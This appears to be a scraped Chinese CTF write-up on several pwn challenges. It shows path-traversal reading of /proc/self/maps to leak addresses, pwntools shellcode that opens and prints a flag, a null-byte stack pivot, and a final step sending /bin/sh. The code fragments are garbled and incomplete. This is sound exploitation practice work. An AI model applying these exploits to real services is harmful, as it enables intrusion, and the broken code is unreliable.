。

原来只是看过关于maps文件的#xff0c;一直没什么印象。

题目一开始设置seccomp禁用execv等#xff0c;看来是用ORW#xff0c;然后建了个mm…

Admin

这是个最简单的题最后来弄出来。

原来只是看过关于maps文件的一直没什么印象。

题目一开始设置seccomp禁用execv等看来是用ORW然后建了个mmap的可写可执行块

然后提供3个功能

2更新配置在4060起的偏移上写10字节这理理论上得到地址后可以写任意位置

3backup

){printMenu();puts(Choice:);Int

readInt();

2LL:updateConfig();break;}}}exit(0);

一开始始终不清楚怎么泄漏后来想到看过一个关于maps文件的这个文件在/proc/[pid]/maps这里边是加载的段地址。

r--p

/home/kali/ctf/0803/m0/services

r-xp

/home/kali/ctf/0803/m0/services

r--p

/home/kali/ctf/0803/m0/services

r--p

/home/kali/ctf/0803/m0/services

rw-p

/home/kali/ctf/0803/m0/services

rw-p

/home/kali/ctf/0803/m0/services

rw-p

/home/kali/ctf/0803/m0/libc.so.6

r-xp

/home/kali/ctf/0803/m0/libc.so.6

r--p

/home/kali/ctf/0803/m0/libc.so.6

r--p

/home/kali/ctf/0803/m0/libc.so.6

rw-p

/home/kali/ctf/0803/m0/libc.so.6

rw-p

/home/kali/ctf/0803/m0/libseccomp.so.2

r-xp

/home/kali/ctf/0803/m0/libseccomp.so.2

r--p

/home/kali/ctf/0803/m0/libseccomp.so.2

r--p

/home/kali/ctf/0803/m0/libseccomp.so.2

rw-p

/home/kali/ctf/0803/m0/libseccomp.so.2

rw-p

/home/kali/ctf/0803/m0/ld-linux-x86-64.so.2

r-xp

/home/kali/ctf/0803/m0/ld-linux-x86-64.so.2

r--p

/home/kali/ctf/0803/m0/ld-linux-x86-64.so.2

r--p

/home/kali/ctf/0803/m0/ld-linux-x86-64.so.2

rw-p

/home/kali/ctf/0803/m0/ld-linux-x86-64.so.2

rw-p

[vdso]得到这个就好办了用2写配置在backupCall写上个指针就能执行但是只能执行一个函数首先想到的是readchat的跳过检查写执行但是地址没法写进去readInt这个位置正好重合选了菜单就没法用了。

看来一开始给的RWX段还是有用的计算出RWX段与4060的偏移然后一点点写进去shellcode然后用backupCall执行。

from

readchat(name):p.sendafter(bChoice:,

ID:\n,

name)readchat(b../../../../../../proc/self/maps)f_elf

False

asm(shellcraft.open(./flag)shellcraft.read(3,

heap_address

shellcraft.write(1,heap_address0x200,0x50))

for

pay[i:i8])p.sendafter(bChoice:,

b3)

绕过的办法是在读入0x50利用gets最后写入的\0覆盖掉ecx的末字节当末字节是个适当值的时候就会跳s的某个位置执行比如说40这个概率还是比较大的。

from

libc.sym[system]p.sendlineafter(bIs

this

这样跟上题一样多读这个字节会覆盖到rbp这样后边再执行时遇到leave

ret就会发生移栈不是这个函数退出时退出时只是把这个地址弹给rbp下次leave

retmain退出时才会执行选好一个位置让他移栈后执行。

通过测试这个位置定48试几次都成功。

题目是静态编译的没开pie没用libc也就用不着泄露不过只能执行syscall

from

p8(0x48))p.sendline(b3)p.sendline(b/bin/sh\x00)p.sendline(bcat

flat.txt)